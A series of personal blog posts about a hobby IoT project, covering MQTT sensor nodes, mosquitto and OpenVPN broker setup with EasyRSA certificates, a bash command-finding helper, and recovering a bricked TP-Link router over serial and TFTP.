Building IoT incubator

Hello open-source and IoT community!

I paused development of mqopen for a while, due lack of spare time. But I got few ideas what to do and I'm in programming mood, so let's continue in development.

I'm experimenting with incubator project. I want to build very simple incubator for my sister. She is breeding cockroaches as feeder insect for her bearded dragon.

So, first some fact about cockroaches, particularly about Blaptica dubia species. They ideal temperature is about 28-30 °C. If temperature is higher than 30 °C, they lifetime is shorter. Also, the will not breed below 20 °C. They generally likes higher humidity. This species don't need that much high humidity, compared to other ones. But, high humidity leads to creating of mold. Recommended humidity slightly above 60 %.

Blaptica dubia are sexually adult after 8 - 12 months, so keeping them as feeder insect as quite long term run. If the colony dies, it takes long time to grow new one.

Incubator design

So, incubator should have following features:

• Sensor for measuring temperature and humidity in the colony.
• Relay for controlling the heater.
• 12 V power output for controlling computer fan.
• Alarm to notify user of something goes wrong.

Computer fan is experimental feature. It should ensure better air flow in the incubator box and potentially suck wet and warm air out. It is also supposed to be used in other applications, so 12 V power output can be useful.

Of course, incubator will be connected into network using MQTT protocol. It will report temperature, humidity or state of heaters, and potential alarms. It should be also configured over network connection.

Let me know if you like the project :)

mqspeak update

I'm happy to announce that I released new mqspeak version a few days ago. It contains some bug fixes and also some new features. Let'st briefly describe them:

Update waiting

When channel update consists of data from multiple sensors, it may happen that one sensor die. By default channel never will be updated until data from all sensors arrives. Inactive sensor causes channel update will be stalled.

When update waiting enabled, mqspeak will wait defined amount of seconds and then sends out even incomplete channel update.

On-Change update

I have implemented onchange updater for handling asynchronous events, like opening and closing a doors or events from buttons. This updater simply sends every configured MQTT message to ThingSpeak/Phant channel. If events happens too often, mqspeak will store them in local buffer and send them out when remote server can accept new update.

syslog support

I removed logging to stdout and replaced it by logging to syslog. It provides easier control what the services does and more convenient debugging.

Download

New mqspeak version is already uploaded into pip repository. You can install it by issuing of following command:

$ sudo pip3 install mqspeak

Monitoring swimming pool with mqopen

One of the most common sensors is Dallas DS18B20 temperature sensor. It is pretty cheap, accurate, has only one data wire and is available in water-proof package. mqopen has already support for DS18B20, so building simple temperature sensor is really easy.

It comes handy at the start of the summer for monitoring water temperature in a swimming pool. I built a probe very similar to this one, except with water-resistant cable join.

Sensor itself is placed at the bottom of the swimming pool where the water temperature is lowest. Other end of the probe is plugged in ESP8266 node under little roof, protected against rain.

Sensor periodically reads water temperature and sends it to my MQTT network. mqspeak then collect the data and updates ThingSpeak channel with actual water temperature. Final graph (from rainy day) looks like this:

ESP8266 node firmware update

I made some progress on my ESP8266 node firmware. My goal is to build single, robust, configurable and reliable piece of code for these little IoT devices, to avoid redundant implementations and unnecessary bugs. You can download it from my GitHub. Users should be able to configure it in kconfig interface and create firmware their own IoT device without need to write single line of code or even modifying any header file.

List of esp8266-node updates:

• Added service topics - I added various service MQTT topics which node sends into network when it connects. This is useful for statistics purposes. debugging or for searching nodes with obsolete firmware or hardware versions.
• Device class - I divided nodes into two basic classes:
  • Sensor - Sensor device sends data to network.
  • Reactor - Reactor devices reacts to data from sensors and take some actions. I have already implemented some prototype code, but this part is in the main development.
• Asynchronous sensors - I implemented abstraction layer for synchronous and asynchronous sensors. Synchronous sensor periodically sends data. Asynchronous ones waits for some event and sends data only when event happens (with retain bit set). This feature takes advantage of MQTT to save bandwith and improve response time for a other devices. I'm building a door sensor which reports every time when door status changes (open / closed).
• Initial data publish - Nature of asynchronous sensor it that it sends data only when event happens. I implemented logic which sends sensor state when node becomes online, if the state is relevant.
• Various bug fixes - I fixed some bugs in the code and hopefully improved device reliability.

I have lot of ideas for another improvements, stay tuned :) http://mqopen.org

mqopen project

For last few months, I'm working hard on my IoT project. I developed some sensors, infrastructure, hardware and lot of other stuff. It time to push the project forward.
I'm very happy to introduce you my work as mqopen project.
I created small website and wiki pages with images, build instructions and other tutorials for open source community.
Hope you'll like it.

mqopen.org

Central MQTT broker – mosquitto

Let's continue in configuring central MQTT broker. In previous article I described the OpenVPN part. Now is time for MQTT broker itself.

Broker implementation is mosquitto. It is open source software, compliant with MQTT version 3.1 and 3.1.1. First of all, lets install it:

root@buben-vps:~# apt-get install mosquitto

Configuration

Central broker should be configured with following attributes:

• Listen on VPN interface – This is what I discussed if previous post. To ensure that only authorized clients can access broker, it must listen on tunnel interface only.
• Client authentication – Even if key owners has access to broker, I like to add username/password protection. Credentials are send in plain text, but the are encrypted in VPN tunnel for outside world.

Broker configuration file should look like this:

#persistance setting
persistence true
persistence_location /var/lib/mosquitto/

# listen on localhost interface
bind_address localhost

# listen on VPN interface
listener 1883 10.9.0.1

# User authentication
password_file /etc/mosquitto/mosquitto.passwd
allow_anonymous false

irst part specifies persistence directory. This is useful when clients uses messages with retain feature and broker is restarted for some reason. Persistence will save retain messages over broker restarts.

Next part defines listen interfaces. Default listener listen on localhost interface, second one listen on VPN interface. I want to listen on localhost for some data processing services which runs on the same machine.

Finally, last part defines user authentication. I use this feature for possibility to grant access to my VPN tunnel for other devices, but ensure that they cannot mess my MQTT data exchange. Unfortunately, authentication is required to clients from all interfaces. It would be great to require authentication for clients at VPN interface only.

Password file

To authenticate MQTT users, we need to store user names and passwords somewhere. Mosquitto comes with mosquitto_passwd utility for managing password files. To create new file issue following commad:

root@buben-vps:~# mosquitto_passwd -c /etc/mosquitto/mosquitto.passwd testuser

Command asks you for password and store it in hashed form in appropriate file. Unfortunately, this utility cannot accept password via command line argument, so using some generated password is quite complicated.

I also noticed, that command can accept -U option, which updates password file to use hashed password instead of plain text. I don't know why, but it re-hash already hashed passwords. This makes this feature little bit useless.

systemd unit

By default, mosquitto doesn't use standard systemd unit. It is started using traditional System V script located at /etc/init.d/mosquitto. You can check this by following command:

root@buben-vps:~# systemctl status mosquitto
● mosquitto.service - LSB: mosquitto MQTT v3.1 message broker
   Loaded: loaded (/etc/init.d/mosquitto)
   Active: active (running) since Tue 2015-09-29 14:41:55 CEST; 9s ago
   CGroup: /system.slice/mosquitto.service
           └─3037 /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf

I like modern systemd units, which runs services in foreground. So let's create is. Stop current mosquitto service at first:

root@buben-vps:~# systemctl stop mosquitto
root@buben-vps:~# update-rc.d mosquitto remove
root@buben-vps:~# rm /etc/init.d/mosquitto

Now create systemd unit file:

root@buben-vps:~# nano /etc/systemd/system/mosquitto.service

And paste following content:

[Unit]
Description=MQTT v3.1 message broker
After=network.target openvpn-server@buben-vps.service
Requires=network.target openvpn-server@buben-vps.service

[Service]
Type=simple
ExecStart=/usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf
Restart=always

[Install]
WantedBy=multi-user.target

Lets talk about systemd unit configuration directives little bit. Requires directive specifies that this unit needs active network.target unit and openvpn-server@buben-vps.service unit. If any unit listed there is stopped or fails, this unit will be stopped as well. After directive defines activation order. Activation of this unit is delayed until all units listed at After directive are started up.

Both After and Requires directives has same values. network.target tells that service should be started after network related stuff is initialized (such as initialization of TCP/IP stack). This dependecy is much more important for shut-down procedure. It instructs systemd that this service should be terminated before network connectivity. This ensures that broker can nicely close all its connections. openvpn-server@buben-vps.service defines dependency on service which provides VPN connectivity. Mosquitto is configured to listen at VPN tunnel IP address, so this service must be started up before mosquitto gets activated.

Other configuration directives are self explanatory. If you are not sure about their meaning, check systemd documentation.

After unit file is created, reload systemd configuration, enable unit and start it up:

root@buben-vps:~# systemctl daemon-reload
root@buben-vps:~# systemctl enable mosquitto
root@buben-vps:~# systemctl start mosquitto

And that's it. Central MQTT broker is up and running. In next articled I'll descibe building of different kinds of local MQTT brokers.

Central MQTT broker – configure OpenVPN server

In following articles I'll describe another part of my IoT project – building infrastructure for data exchange. Remember from my first post, this infrastructure consists of two main parts: central MQTT broker and bunch of local brokers.

First few articles will be about configuring central MQTT broker. It requires a computer with public IP address. Rent a VPS is pretty good choice for this purpose. Operating system which runs on your VPS doesn't really matter. In my case, I'm using Debian 8 with systemd. Configuration steps may differ for other system setup.

Encrypted connection

Security is one of my major concerns. Each local MQTT broker must establish a connection with central broker over SSL encrypted tunnel. There are basically two possibilities:

1. Configure mosquitto to use encrypted connection.
2. Establish VPN tunnel between hosts and configure central broker to listen on VPN interface only.

Second way have more benefits. This approach delegates responsibility for encryption into another piece of software. It is also possible to run other services at VPN interface, such as HTTP server for some diagnostic applications. Only downside is that VPN means more complex configuration.

For this tutorial, I use virtual system running in VirtualBox. I assigned two network interfaces to it. One in NAT mode (access to the Internet) and second connected to host-only network. This is for reason that I don't want to use my real public IP addresses in this tutorial. I can access my virtual machine at 192.168.56.102.

Install OpenVPN

First step is install VPN daemon. Best choice for me is to use OpenVPN. It is open source and well known VPN solution with huge community. To install OpenVPN issue following command:

root@buben-vps:~# apt-get install openvpn

And that's it. VPN server software is installed. Now comes the hard part.

Certificates and keys

To establish an encrypted connection with VPN server, we need an encryption key. We also needs some third party authority which verifies, that encryption key belongs to authorized user.

In another words, to establish connection we have to create encryption key for both server and client, create certificate authority (CA) to sign keys and create certification requests. This is generally done using openssl library tool with the same name – openssl. But create all these things with openssl command requires lot of commands with many parameters. For that reason EasyRSA was created, which simplifies this procedure.

Following steps should be done on some secured system dedicated for storing CA and key signing. It is recommended to keep this computer in locked room and completely disconnected from the network. For purpose of this article, I create all files on my /tmp directory.

First of all download EasyRSA from GitHub:

buben@ca:/tmp$ git clone https://github.com/OpenVPN/easy-rsa

Next, change working directory and create configuration file:

buben@ca:/tmp$ cd easy-rsa/easyrsa3
buben@ca:/tmp/easy-rsa/easyrsa3$ cp vars.example vars
buben@ca:/tmp/easy-rsa/easyrsa3$ nano vars

Now edit configuration values. Most important are following variables:

#set_var EASYRSA_REQ_COUNTRY     "US"
#set_var EASYRSA_REQ_PROVINCE    "California"
#set_var EASYRSA_REQ_CITY        "San Francisco"
#set_var EASYRSA_REQ_ORG "Copyleft Certificate Co"
#set_var EASYRSA_REQ_EMAIL       "me@example.net"
#set_var EASYRSA_REQ_OU          "My Organizational Unit"

Just uncomment them and assign them appropriate literals. If you want to omit some of these values (EASYRSA_REQ_OU in my case) fill it with “.” (dot).

After EasyRSA is configured, you can initialize public key infrastructure (PKI):

buben@ca:/tmp/easy-rsa/easyrsa3$ ./easyrsa init-pki

After that, empty pki should look like this:

buben@ca:/tmp/easy-rsa/easyrsa3$ tree pki/
pki/
├── private
└── reqs

Building key files

Now you can build certificate authority and key files. First thing is CA:

buben@ca:/tmp/easy-rsa/easyrsa3$ ./easyrsa build-ca

Note: using Easy-RSA configuration from: ./vars
Generating a 2048 bit RSA private key
.......................+++
.....+++
writing new private key to '/tmp/easy-rsa/easyrsa3/pki/private/ca.key.cAsM68O5hi'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Common Name (eg: your user, host, or server name) [Easy-RSA CA]:buben-ca

CA creation complete and you may now import and sign cert requests.
Your new CA certificate file for publishing is at:
/tmp/easy-rsa/easyrsa3/pki/ca.crt

Command build-ca creates CA files encrypted with pass phrase. You can append nopass argument to create plaintext CA. I recommend you to protect it. Command also asks for common name. It should be some meaningful string, as the prompt suggests.

Next, create server key and certificate request file:

buben@ca:/tmp/easy-rsa/easyrsa3$ ./easyrsa gen-req buben-vps nopass

Note: using Easy-RSA configuration from: ./vars
Generating a 2048 bit RSA private key
.+++
..............+++
writing new private key to '/tmp/easy-rsa/easyrsa3/pki/private/buben-vps.key.3pklh1AD07'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Common Name (eg: your user, host, or server name) [buben-vps]:

Keypair and certificate request completed. Your files are:
req: /tmp/easy-rsa/easyrsa3/pki/reqs/buben-vps.req
key: /tmp/easy-rsa/easyrsa3/pki/private/buben-vps.key

In this case I recommend you to use nopass argument. Otherwise you will have to manually type a pass phrase every time you want to start a VPN server, which is nonsence.

Command again asks for common name. In case of server key, it must match the server hostname. This is the way how the client verifies that it is authenticating with correct machine. If common name doesn't match to server hostname, certificate verification fails.

Next, sign server request with your CA:

buben@ca:/tmp/easy-rsa/easyrsa3$ ./easyrsa sign-req server buben-vps

Note: using Easy-RSA configuration from: ./vars


You are about to sign the following certificate.
Please check over the details shown below for accuracy. Note that this request
has not been cryptographically verified. Please be sure it came from a trusted
source or that you have verified the request checksum with the sender.

Request subject, to be signed as a server certificate for 3650 days:

subject=
    commonName                = buben-vps


Type the word 'yes' to continue, or any other input to abort.
  Confirm request details: yes
Using configuration from /tmp/easy-rsa/easyrsa3/openssl-1.0.cnf
Enter pass phrase for /tmp/easy-rsa/easyrsa3/pki/private/ca.key:
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
commonName            :ASN.1 12:'buben-vps'
Certificate is to be certified until Sep 12 14:53:09 2025 GMT (3650 days)

Write out database with 1 new entries
Data Base Updated

Certificate created at: /tmp/easy-rsa/easyrsa3/pki/issued/buben-vps.crt

If CA is encrypted, command asks for its pass phrase.

Last step is create Diffie-Hellman parameters for initial key exchange:

buben@ca:/tmp/easy-rsa/easyrsa3$ ./easyrsa gen-dh

Note: using Easy-RSA configuration from: ./vars
Generating DH parameters, 2048 bit long safe prime, generator 2
This is going to take a long time
........................... [ … snip … ] ........++*++*

DH parameters of size 2048 created at /tmp/easy-rsa/easyrsa3/pki/dh.pem

And that's all! PKI hierarchy now should look like this:

buben@ca:/tmp/easy-rsa/easyrsa3$ tree pki
pki
├── ca.crt
├── certs_by_serial
│   └── 01.pem
├── dh.pem
├── index.txt
├── index.txt.attr
├── index.txt.old
├── issued
│   └── buben-vps.crt
├── private
│   ├── buben-vps.key
│   └── ca.key
├── reqs
│   └── buben-vps.req
├── serial
└── serial.old

Configure OpenVPN

Okay, VPN server is installed on the VPS and we also have generated CA and key files on our dedicated system. Now is time to create configuration and start VPN tunnel.

OpenVPN configuration files can't be stored anywhere. Best practice is store it in /etc/openvpn directory. I like to create separate directories for CA, keys and configuration files (both server and client, if necessary). My configuration skeleton looks like this:

root@buben-vps:~# tree /etc/openvpn
/etc/openvpn
├── ca_certificates
├── certs
└── server

Copy CA, DH and key files to VPS:

buben@ca:/tmp/easy-rsa/easyrsa3$ scp pki/ca.crt pki/dh.pem root@192.168.56.102:/etc/openvpn/ca_certificates
buben@ca:/tmp/easy-rsa/easyrsa3$ scp pki/issued/buben-vps.crt pki/private/buben-vps.key root@192.168.56.102:/etc/openvpn/certs

Now create configuration file:

root@buben-vps:~# nano /etc/openvpn/server/buben-vps.conf

And paste following lines:

port 1194
proto tcp
dev tun

ca /etc/openvpn/ca_certificates/ca.crt
cert /etc/openvpn/certs/buben-vps.crt
key /etc/openvpn/certs/buben-vps.key
dh /etc/openvpn/ca_certificates/dh.pem

server 10.9.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt

keepalive 10 120
comp-lzo
persist-key
persist-tun
verb 4

Now you can run a server from console:

root@buben-vps:~# openvpn --cd /etc/openvpn/server --config buben-vps.conf

Systemd unit

By default, openvpn package creates its systemd unit file at /lib/systemd/system/openvpn@.service which looks like this:

root@buben-vps:~# cat /lib/systemd/system/openvpn@.service
[Unit]
Description=OpenVPN connection to %i
PartOf=openvpn.service
ReloadPropagatedFrom=openvpn.service

[Service]
Type=forking
ExecStart=/usr/sbin/openvpn --daemon ovpn-%i --status /run/openvpn/%i.status 10 --cd /etc/openvpn --config /etc/openvpn/%i.conf
ExecReload=/bin/kill -HUP $MAINPID
WorkingDirectory=/etc/openvpn

[Install]
WantedBy=multi-user.target

Personally, I don't like forking services. So I created alternative unit file at /etc/systemd/system/openvpn-server@.service:

root@buben-vps:~# cat /etc/systemd/system/openvpn-server@.service
[Unit]
Description=OpenVPN service for %I
After=network.target
Documentation=man:openvpn(8)
Documentation=https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage
Documentation=https://community.openvpn.net/openvpn/wiki/HOWTO

[Service]
Type=simple
ExecStart=/usr/sbin/openvpn --cd /etc/openvpn/server --config %i.conf
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target

This unit file runs openvpn process at foreground, changes its working diretory at /etc/openvpn/server and loads appropriate configuration file. It also doesn't create any status file. If service crashes for any reason, it will be restarted after 5 seconds.

After creating this file, issue following command to reload all systemd units:

root@buben-vps:~# systemctl daemon-reload

Now you can instantiate and enable service to automatically start at boot up:

root@buben-vps:~# systemctl enable openvpn-server@buben-vps.service

And start the service:

root@buben-vps:~# systemctl start openvpn-server@buben-vps.service

Congratulations! VPN server is up and running.You can check for tunnel interface using following command:

root@buben-vps:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:c5:b6:d8 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 86381sec preferred_lft 86381sec
    inet6 fe80::a00:27ff:fec5:b6d8/64 scope link
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:e5:ef:bf brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.102/24 brd 192.168.56.255 scope global dynamic eth1
       valid_lft 1203sec preferred_lft 1203sec
    inet6 fe80::a00:27ff:fee5:efbf/64 scope link
       valid_lft forever preferred_lft forever
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 100
    link/none
    inet 10.9.0.1 peer 10.9.0.2/32 scope global tun0
       valid_lft forever preferred_lft forever

Test the tunnel

If you want to test the VPN tunnel, you can configure OpenVPN test client for it. At firs, create key files:

buben@ca:/tmp/easy-rsa/easyrsa3$ ./easyrsa gen-req test nopass
buben@ca:/tmp/easy-rsa/easyrsa3$ ./easyrsa sign-req client test

Now create client configuration skeleton and copy appropriate key files. Let's say at /tmp/vpntest. Configuration skeleton with empty config file should look like this:

buben@test:~$ tree /tmp/testvpn/
/tmp/testvpn/
├── ca_certificates
│   └── ca.crt
├── certs
│   ├── test.crt
│   └── test.key
└── client
    └── test.conf

Note that client doesn't use dh.pem file.

Next edit client configuration file:

buben@test:~$ nano /tmp/testvpn/client/test.conf

And paste following content:

client
dev tun
proto tcp
remote 192.168.56.102 1194
resolv-retry infinite
nobind
persist-key
persist-tun

ca /tmp/testvpn/ca_certificates/ca.crt
cert /tmp/testvpn/certs/test.crt
key /tmp/testvpn/certs/test.key

comp-lzo
verb 4

Once you have your client configured, you can establish a VPN tunnel:

buben@test:~$ sudo openvpn --cd /tmp/testvpn/client/ --config test.conf

And verify that your tunnel is working:

buben@test:~$ ping -c 5 10.9.0.1
PING 10.9.0.1 (10.9.0.1) 56(84) bytes of data.
64 bytes from 10.9.0.1: icmp_seq=1 ttl=64 time=0.413 ms
64 bytes from 10.9.0.1: icmp_seq=2 ttl=64 time=0.412 ms
64 bytes from 10.9.0.1: icmp_seq=3 ttl=64 time=0.413 ms
64 bytes from 10.9.0.1: icmp_seq=4 ttl=64 time=0.425 ms
64 bytes from 10.9.0.1: icmp_seq=5 ttl=64 time=0.394 ms

--- 10.9.0.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3999ms
rtt min/avg/max/mdev = 0.394/0.411/0.425/0.020 ms

To be continued

Now we have created VPN connection for IoT network. In the next article I'll describe MQTT broker configuration.

MQTT node software

In last article I described a hardware aspects of my IoT endpoint device. Lets look at it software now.

Software must handle DHT22 sensor for measurements, implement enc28j60 chip driver, TCP/IP stack for it and MQTT client for sending data to network. My first requirement is to use plain C instead of using any Arduino software. Reason for this is it gives me lot more possibilities, smaller code footprint (I assume) and more convenient way to fixing a bugs. Also once a software is done, it can be very easily reused in another projects.

TCP/IP stack

Most challenging part of node software is TCP/IP stack. Fortunately, there is already quite good implementation called avr-uip, which is uIP project ported to AVR platform.

uIP is minimalistic TCP/IP stack written by Adam Dunkels designed for very small embedded systems. It is designed as event-based framework. It requires some learning, but it's not too hard.

My friend from our local hackerspace already made very similar project which uses this TCP/IP stack. So his work can be used as good reference point.

Only downside is that avr-uip is very outdated, so I had to make some changes to it and fix some bugs. But it works now.

Get it work

With working TCP/IP stack is very easy to get data from the AVR over the network. I found some another projects which implement enc28j60 driver, MQTT client and DHT22 driver, forked them and merged them into my software. I had to create man state machine and after some refactoring and bug fixes my node started to sending MQTT data.

You can find the code on the projects GitHub page. If you want to build your own MQTT node, please read attached readme file for configuration instructions.

Future features

I want to create more user-friendly device, which doesn't need to be manually configured for each build. Main features should be some DHCP client code to dynamically assign node IP address.

Another major feature should be DNS client to resolve local broker IP address from DNS server.

This could allow to develop very cheap plug and play device which doesn't require any configuration. One challenging aspect is very limited resources of used MCU, which has only 2kB of RAM.

Simple MQTT node

In the previous article I described a basic idea of building my network of interconnected devices. In next few articles I'll describe building of very simple sensor with network interface, which can send data using MQTT protocol.

Node requirements:

• Use well known Arduino hardware
• Software written in plain C
• Cheap components
• Scalable design
• Easy to use

MCU

Because I don't want to create my own board, I have to use some existing one. For that reason I decided to use well known Arduino Nano board with atmega328p MCU. I have lot of these in my shelf. This MCU has 32KBytes of flash storage for code, 1KByte of EEPROM as non-volatile storage and 2KBytes of RAM.

I have plan to use Arduino Pro Mini for final product. It costs about 2.50 USD on ebay.

Another advantage of using Arduino hardware is lot of existing code for it. I can easily connect some components, upload existing sketch and check, if my wiring is correct. After verifying that hardware is connected properly, I could start writing my own software. This safes me lot of work by finding bugs in both hardware and software.

Software

Although I'm using Arduino hardware, I'm not using any Arduino software. I decided to implement all software logic in plain C instead.

I thing that Arduino is really great for learning of programming microcomputers or to make quick proof of concept sketch. But its code is quite messy, not efficient and it limits many hardware possibilities. So for making some serious project it is insufficient.

Use of plain C has many advantages. You have complete control about memory usage and its optimization, interrupts, timers, power consumption and other things. You have to also create Makefile, which brings another control in code configuration, compilation and optimization.

Ethernet controller

There are two common Ethernet controller chips. WIZnet w5100 and Microchip enc28j60. W5100 is chip used in official Arduino Ethernet Shield. It has its own TCP/IP stack implemented in hardware and it is well supported by community. But it is twice as expensive as the enc28j60 chip. Because I want to make many of these devices, price is crucial. I had already some enc28j60 modules in my shelf.

Using enc28j60 chip requires more work in software. It requires to implement own TCP/IP stack in software layer. But it seems that this work is already done by someone else.

Sensors

For development purposes I decided to make a node only with DHT-22 (also known as AM2302) sensor. This sensor can measure relative humidity and temperature in 2s time period. DHT-22 is more expensive variant of DHT-11, which has very limited accuracy and measurement range.

I used this sensor mainly for development. Final software should be capable to use any other sensor or device.

Wiring

Finally, wiring of my prototype looks like this.

Next time I'll describe node software and building MQTT brokers.

New project – IoT mesh

Recently I started my new project with Internet of Things. My idea is to create mesh of sensors or some other devices connected to each other over the network. These devices should include some common sensors for monitoring temperature, humidity, barometric pressure, light and others. There also should be some logging devices for creating graphs from received data or monitoring network functionality. And finally I want to create some devices controlled over this network, like IoT enabled window blinds.

My basic design goals are:

• Reduce cost as possible
• World wide access
• Secure
• Reliable
• Easy to use
• Keep it simple
• 100% open source

MQTT

Basic building block for creating network of interconnected devices is communication protocol. There is already excellent protocol designed for IoT called MQTT, which meet all my requirements. It is designed to connect client devices over central server using publish/subscribe scheme. That means that every device send publish data into network tagged with topic. Other devices interested in some topic can subscribe to it and receive those data.

Central server is called broker. It is responsible for collecting messages from publishers and delivering them to subscribers. Broker can be also bridged to another broker. There is already open source implementation of MQTT broker mosquitto.

World wide access

Mosqiutto normally communicates in plaintext over TCP connection. It also can be configured to use SSL layer for encrypted data exchange. However, cheap sensors have not enough resources to use encrypted communication.

This problem seems to be solved by dedicating small MQTT broker in LAN secured by firewall and placed behind NAT. Clients in this LAN communicates with broker in plaintext. This broker then will be bridged to some central broker on the public Internet over SSL making secure connection. Whole network then should looks like this.

That's basic idea of my IoT network. Next time we will look at building simple MQTT device.

Find command by pattern

It often happens to me, that I want to use a command, but I don't know its full name. Bash completion is good helper, but I have to know first characters of that command. But in some cases I don't.

For example, when I got a .7z archive. Command for extract it should contain “zip” but it doesn't start with it. After some trials and errors with bash completion, I usually have to google it. Right command is “p7zip”.

Luckily, you can use bash to find it out.

buben@debian:~$ find $(echo $PATH | tr : ' ') -name "*zip*" -exec basename {} \; | sort | uniq
bunzip2
bzip2
bzip2recover
funzip
gpg-zip
gunzip
gzip
p7zip
preunzip
prezip
prezip-bin
unzip
unzipsfx
zip
zipcloak
zipgrep
zipinfo
zipnote
zipsplit

At first, command takes $PATH variable and replaces all path separators (colon) with single space. Result is passed to find command as list of arguments. It uses -name option to match pattern and for each match is executed basename command. Basename simply strips down full path and leaves only name of command. Finally result is sorted and removed duplicates.

For convenient use, this command can be wrapped in simple function and placed in ~/.bashrc file:

function apattern() {
    find $(echo $PATH | tr : ' ') -name "*${1}*" -exec basename {} \; | sort | uniq
}

For take an effect, you have to open new terminal or issue following command:

buben@debian:~$ source ~/.bashrc

After that, you can use this function like any other command.

TP-Link recovery

Flashing routers with custom firmware if fun. Especially a firmware compiled by yourself. But it may occur that things goes wrong and you will brick you router. If you have untouched a bootloader, unbricking process is really easy.

This article is about unbricking routers with working bootloader, in this case a TP-Link TL-WR703N which is using U-Boot. If your router has other bootloader, following procedure probably will not work.

For recovery you must have access to device serial console. I'm using a Debian machine.

Get information about your memory

To safely brick your device, you have to perform some terrain reconnaissance. You have to know how flash memory of your router looks like and which blocks can be rewritten without causing serious damage to device functionality.

Flash memory is divided into parts like hard drive is partitioned in traditional computers. But in this case, we are not dealing with hard drive and real partitions, but with mtd and named memory offsets instead. That means that these “partitions” doesn't contains any meta data about them, can overlap each other and also writing operations can overrun their boundaries.

Let's look how many partitions are there and how long they are.

root@OpenWrt:/# cat /proc/mtd 
dev:    size   erasesize  name 
mtd0: 00020000 00010000 "u-boot" 
mtd1: 00102050 00010000 "kernel" 
mtd2: 002cdfb0 00010000 "rootfs" 
mtd3: 000c0000 00010000 "rootfs_data" 
mtd4: 00010000 00010000 "art" 
mtd5: 003d0000 00010000 "firmware"

Ok, there are six partitions. Surely at the zero offset starts “u-boot” partition, because this one contains bootloader, which is executed at first, when device is turned on. With the rest we can only guess for now, where they are placed.

You can get more complete view, how they are arranged by checking boot log.

root@OpenWrt:/# dmesg

This command spits out lot of output, but we are looking for something like this.

[    0.490000] 5 tp-link partitions found on MTD device spi0.0 
[    0.490000] Creating 5 MTD partitions on "spi0.0":
[    0.500000] 0x000000000000-0x000000020000 : "u-boot" 
[    0.510000] 0x000000020000-0x000000122050 : "kernel" 
[    0.520000] 0x000000122050-0x0000003f0000 : "rootfs" 
[    0.550000] 0x000000330000-0x0000003f0000 : "rootfs_data" 
[    0.560000] 0x0000003f0000-0x000000400000 : "art" 
[    0.560000] 0x000000020000-0x0000003f0000 : "firmware" 

Nice, now we have exact position of each individual region, so we can set up complete view.

Regions which have to be untouched are u-boot and art. There contains critical data to keep device working. Firmware partition between them can be rewritten as you like.

Make a brick

First step is bricking a device. You probably will not do that intentionally but it can happen. For example by flashing a file, which you shouldn't.

root@OpenWrt:/# cd /tmp
root@OpenWrt:/tmp# wget http://192.168.1.1/openwrt-ar71xx-generic-root.squashfs
root@OpenWrt:/tmp# mtd -r write openwrt-ar71xx-generic-root.squashfs firmware

Yes, this is how I bricked my TP-Link. I build image which was too large and therefore factory.bin file doesn't appear in my bin directory. I didn't realized that problem, so I tried another file and it of course didn't work.

openwrt-ar71xx-generic-root.squashfs is only file with filesystem. It is really not good idea to flash it at the firmware offset. If you want to browse its content, you can install squashfs-tools package and extract it.

buben@debian:~$ unsquashfs openwrt-ar71xx-generic-root.squashfs
buben@debian:~$ ls squashfs-root/ 
bin  dev  etc  lib  mnt  overlay  proc  rom  root  sbin  sys  tmp  usr  var  www

Issued command mtd above rewrites only mtd5 partition, where firmware is located, so mtd0 with bootloader leave untouched and fully working.

There is one big catch. If you write bigger file than 3904 KiB, you will rewrite also mtd4. In this location it stored calibration data for your wireless hardware and it is device specific. If you don't have backup of art for restore, your router can't use WiFi anymore.

Principe

In normal conditions, when device is turned on, first what is executed is a bootloader. Bootloader perform some hardware check, known as POST, copies kernel into RAM and executes it. When firmware is broken, router restart itself and these things are repeated in infinite loop.

Some bootloaders, such as U-Boot, have implemented rescue mechanisms, for example loading new firmware using TFTP.

Install TFTP server

For installing TFTP server in Debian machine, issue following command.

buben@debian:~$ sudo apt-get install tftpd-hpa

For security reasons, I recommend you to disable automatic starting of the server during the boot time. It is aways good idea to use some service only when you need it and not keep it running for all the time.

buben@debian:~$ sudo update-rc.d -f tftpd-hpa remove

Now all init scripts for tftpd-hpa are removed, but service is still running. You can test it by following command

buben@debian:~$ sudo service tftpd-hpa status 
[ ok ] in.tftpd is running.

Serial console

As I mentioned at the beginning, you need working serial console. My favorite program is minicom.

buben@debian:~$ sudo apt-get install minicom

To use it as a regular user, you have to be in dialout group.

buben@debian:~$ sudo usermod -a -G dialout buben

After that command you have to relog your account to take the effect.

After that you can connect to device.

buben@debian:~$ minicom -D /dev/ttyUSB0 -b 115200

On my bricked router, I have got the following output repeating over and over.

U-Boot 1.1.4 (Mar 18 2013 - 17:36:20) 

AP121 (ar9330) U-boot 

DRAM:  32 MB 
led turning on for 1s... 
id read 0x100000ff 
flash size 4194304, sector count = 64 
Flash:  4 MB 
Using default environment 

In:    serial 
Out:   serial 
